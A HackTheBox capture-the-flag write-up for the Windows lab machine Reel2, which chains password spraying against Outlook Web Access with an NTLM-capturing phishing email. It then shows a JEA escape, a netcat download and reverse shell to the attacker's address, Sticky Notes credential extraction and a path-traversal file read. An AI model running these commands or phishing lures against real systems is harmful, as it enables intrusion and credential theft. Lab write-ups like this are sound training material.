Reel2 - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Reel2 is a hard-difficulty Windows machine featuring a multi-stage attack chain that combines web enumeration, phishing, password cracking, and JEA bypass techniques. The machine hosts an open-source social networking application (Wallstant) on port 8080 that reveals usernames, while Exchange OWA on port 443 can be accessed via password spraying. A spear phishing attack captures NTLM hashes that crack to valid credentials, leading to WinRM access. JEA (Just Enough Administration) restrictions are bypassed using PowerShell function definitions, and sticky notes enumeration reveals lateral movement credentials. Finally, a path traversal vulnerability in a JEA-restricted function enables reading administrator files for root access.

TL;DR: Enumerate usernames → Password spray OWA → Spear phish for hash → Crack hash → Bypass JEA → Extract sticky notes credentials → Exploit Check-File path traversal → Read admin files

Reconnaissance

Port Scanning

# Full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.210 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.10.210

Results:

• Port 80: IIS (HTTP) - Access Denied
• Port 443: IIS (HTTPS) - Default page
• Port 5985: Windows Remote Management (WinRM)
• Port 8080: HTTP - Web application (Wallstant social network)
• Exchange Server detected

Service Enumeration

IIS/HTTPS Enumeration

Using FFUF to discover directories:

# Install ffuf
git clone https://github.com/ffuf/ffuf
cd ffuf

# Fuzz common paths
ffuf -u https://10.10.10.210/FUZZ -w /usr/share/wordlists/dirb/common.txt

Identified /owa endpoint for Outlook Web Access (OWA).

Domain Discovery

Using SprayingToolkit to identify the domain:

# Install SprayingToolkit
git clone https://github.com/byt3bl33d3r/SprayingToolkit
cd SprayingToolkit
apt install -y libxml2-dev libxslt1-dev
pip3 install -r requirements.txt

# Run reconnaissance
python3 atomizer.py owa 10.10.10.210 --recon

Domain identified: HTB

Port 8080 - Wallstant Application

A PHP-based open-source social networking application. Registration and login reveal:

• Multiple user profiles with first and last names
• Posts from users cube and svensson
• Search functionality at /search that reveals all registered usernames when accessed without query parameters

Python script to extract all usernames:

import requests
from bs4 import BeautifulSoup

# Replace with valid PHPSESSID cookie
r = requests.get('http://10.10.10.210:8080/search',
                 cookies={'PHPSESSID': '<replace_with_session>'})
u = BeautifulSoup(r.text, 'lxml')

for i in u.find_all({'a': 'user_follow_box_a'}):
    if '@' in i.text:
        print(i.text.replace('@', ''))

Vulnerability Assessment

Identified Vulnerabilities:

1. Username Enumeration: Wallstant /search endpoint leaks all registered usernames
2. Weak Password Policy: Password spraying against OWA with predictable password format (Season+Year)
3. Spear Phishing Vector: OWA access allows sending emails to Global Address List (GAL)
4. NTLM Relay: Embedded image/resource in email triggers NTLM authentication
5. JEA Bypass: ConstrainedLanguage mode can be bypassed with PowerShell functions
6. Sticky Notes Enumeration: Application stores sensitive data in unencrypted log files
7. Path Traversal in Check-File: JEA function vulnerable to directory traversal

Initial Foothold

Stage 1: Username Generation & OWA Password Spraying

Generate username permutations from extracted names:

# Save full names to usernames.txt first
# Then use Username Anarchy
./username-anarchy --input-file usernames.txt --select-format first,first.last,f.last,flast | xargs -n 1 echo HTB\\ | tr -d ' ' > unames.txt

Spray OWA with common seasonal passwords:

# Common format: Season + Year
# From the application, posts referenced Summer 2020
# Test: Summer2020

Success: HTB\s.svensson : Summer2020

Stage 2: Spear Phishing & Hash Capture

Login to OWA with obtained credentials. Access Global Address List (GAL) by clicking the phonebook icon in the top-right corner.

# Start responder listener
sudo responder -I tun0

Create a new email in OWA and send to all users in the GAL. Include an HTML image resource that triggers NTLM authentication:

<img src="\\10.10.14.3\share\image.png"/>

Result: NTLM v2 hash captured for user htb\k.svensson

Stage 3: Hash Cracking & WinRM Access

Crack the captured hash:

# Save hash to file
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked password: kittycat1

Connect via PowerShell Remoting from a Windows machine:

# Configure WinRM trust
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="10.10.10.210"}'

# Create credentials object
$cred = New-Object System.Management.Automation.PSCredential('HTB\k.svensson', (ConvertTo-SecureString 'kittycat1' -AsPlainText -Force))

# Connect to target
Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred

Foothold Achieved: Connected as HTB\k.svensson but restricted by JEA (Just Enough Administration)

Stage 4: JEA Bypass

Confirmed session is in ConstrainedLanguage mode. Bypass JEA restrictions using PowerShell function definitions:

# Define a function to escape JEA
function Invoke-Command { whoami }

# Or use script block syntax
& { whoami }

Download netcat for reverse shell:

& { curl 10.10.14.3/nc64.exe -o 'C:\Windows\System32\spool\drivers\color\nc.exe' }

Setup reverse shell listener and execute:

# From attacker machine (Linux)
nc -nvlp 1234

# From target PowerShell
& { C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.3 1234 }

Privilege Escalation

Stage 1: Sticky Notes Enumeration

Enumerated running processes and identified Sticky Notes application (version 0.3.0):

Get-Process | Where-Object {$_.Name -like "*stickynotes*"} | Select-Object Id, ProcessName, @{Name="Version";Expression={$_.MainModule.FileVersionInfo.FileVersion}}

Located application local storage directory. Sticky Notes stores encrypted notes in .log files. Using strings utility to extract plaintext:

# Download strings64.exe to target
curl 10.10.14.5/strings64.exe -o C:\Windows\System32\spool\drivers\color\strings.exe

# Run against sticky notes log files
C:\Windows\System32\spool\drivers\color\strings.exe "C:\Users\k.svensson\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\000003.log"

Credentials Extracted: jea_test_account : Ab!Q@vcg^%@#1

Stage 2: JEA Lateral Movement

Discovered JEA configuration files in user documents folder with extensions .psrc and .pssc. Examined the session configuration:

# Configuration enables Check-File function with RunAsVirtualAccount
# Allows reading files from D:\ or C:\ProgramData\ and subfolders

Connect using JEA endpoint with the extracted credentials:

$cred = New-Object System.Management.Automation.PSCredential('HTB\jea_test_account', (ConvertTo-SecureString 'Ab!Q@vcg^%@#1' -AsPlainText -Force))

Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -ConfigurationName jea_test_account

Stage 3: Check-File Path Traversal Exploitation

The Check-File function is vulnerable to path traversal. Although restricted to D:\ or C:\ProgramData\, directory traversal sequences work:

# Attempt path traversal to read administrator files
Check-File "C:\ProgramData\..\..\users\administrator\Desktop\root.txt"

Alternatively, create NTFS Junction Point from the unrestricted session:

# From k.svensson session with netcat shell
& { New-Item -ItemType Junction -Path "C:\programdata\admin" -Target "C:\users\administrator" }

Then switch back to JEA session and read via the junction:

# From jea_test_account session
Check-File "C:\ProgramData\admin\Desktop\root.txt"

Root Access Achieved: Read administrator flag

Attack Chain Summary

Enumerate Wallstant Usernames (Port 8080)
       ↓
Identify Domain: HTB (SprayingToolkit)
       ↓
Password Spray OWA (Summer2020)
       ↓
Login: HTB\s.svensson : Summer2020
       ↓
Spear Phishing Attack (GAL email with NTLM trigger)
       ↓
Capture NTLM v2 Hash (Responder)
       ↓
Crack Hash → kittycat1
       ↓
WinRM Access: HTB\k.svensson
       ↓
Bypass JEA ConstrainedLanguage Mode (Function/Script Block)
       ↓
Enumerate Sticky Notes Process
       ↓
Extract Credentials: jea_test_account : Ab!Q@vcg^%@#1
       ↓
JEA Lateral Move with jea_test_account
       ↓
Exploit Check-File Path Traversal
       ↓
Read Administrator Files → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Username enumeration from open-source web applications
• Password spraying against OWA with predictable formats
• Spear phishing and NTLM relay attacks using embedded resources
• NTLM hash cracking with John the Ripper
• JEA bypass techniques in ConstrainedLanguage mode
• Process enumeration for credential extraction from user applications
• Path traversal exploitation in restricted functions
• NTFS Junction Point creation for directory traversal workarounds
• PowerShell remoting and lateral movement
• WinRM authentication and session management

Lessons Learned

1. Social applications leak intelligence: Open-source applications often expose user listings and metadata that aid in reconnaissance and account targeting.

2. Seasonal passwords are predictable: When external clues exist (posts mentioning seasons/years), password spraying with Season+Year format is highly effective.

3. Email-based phishing is powerful: Access to OWA enables targeting entire Global Address Lists; embedded resources trigger NTLM authentication for hash capture without user interaction.

4. JEA is bypassable: ConstrainedLanguage mode can be escaped using simple PowerShell function definitions or script blocks, making it an imperfect security boundary.

5. Client applications store secrets insecurely: Sticky Notes and similar user applications may store sensitive information in plaintext-recoverable formats; always enumerate running processes and their data directories.

6. Privileged functions have attack surface: Even restricted JEA functions can be exploited if they process user input without proper validation; path traversal and directory access controls are critical.

7. Lateral movement via extracted credentials: Credentials found in process memory or application data can grant access to restricted administrative endpoints.

8. Defense in depth requires coordination: JEA restrictions, file permissions, and input validation must work together; a single vulnerable function can collapse the entire privilege boundary.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>